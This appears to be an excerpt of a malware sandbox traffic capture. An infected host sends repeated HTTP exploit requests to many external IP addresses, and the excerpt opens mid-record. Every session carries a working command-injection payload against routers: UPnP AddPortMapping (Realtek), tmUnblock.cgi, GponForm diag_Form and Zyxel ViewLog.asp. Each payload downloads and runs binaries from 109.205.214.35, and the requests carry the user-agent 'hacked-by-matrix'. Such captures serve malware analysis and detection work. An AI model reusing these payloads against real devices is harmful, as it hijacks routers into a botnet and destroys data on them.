realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
978	192.168.2.23	45156	195.164.220.203	52869

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:20.697357893 CET	975	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:18:21.269903898 CET	975	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:18:22.422940016 CET	975	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
979	192.168.2.23	35868	172.67.202.114	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:20.883359909 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:21.183119059 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
980	192.168.2.23	45806	98.46.78.27	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:21.042984009 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
981	192.168.2.23	46388	212.27.82.117	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:21.248569965 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
982	192.168.2.23	50280	2.211.208.20	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:21.248632908 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
983	192.168.2.23	34444	42.201.218.180	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:21.248682976 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
984	192.168.2.23	44978	118.223.36.115	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:21.248703957 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
985	192.168.2.23	41566	2.130.139.237	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:21.248743057 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
986	192.168.2.23	32828	118.170.232.131	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:21.248820066 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
987	192.168.2.23	53600	37.126.169.102	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:21.248900890 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
988	192.168.2.23	51140	82.134.252.239	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:21.711153984 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:22.678927898 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:23.800934076 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
989	192.168.2.23	36574	172.65.237.237	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:22.131119013 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
990	192.168.2.23	51620	178.214.126.107	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:22.675131083 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
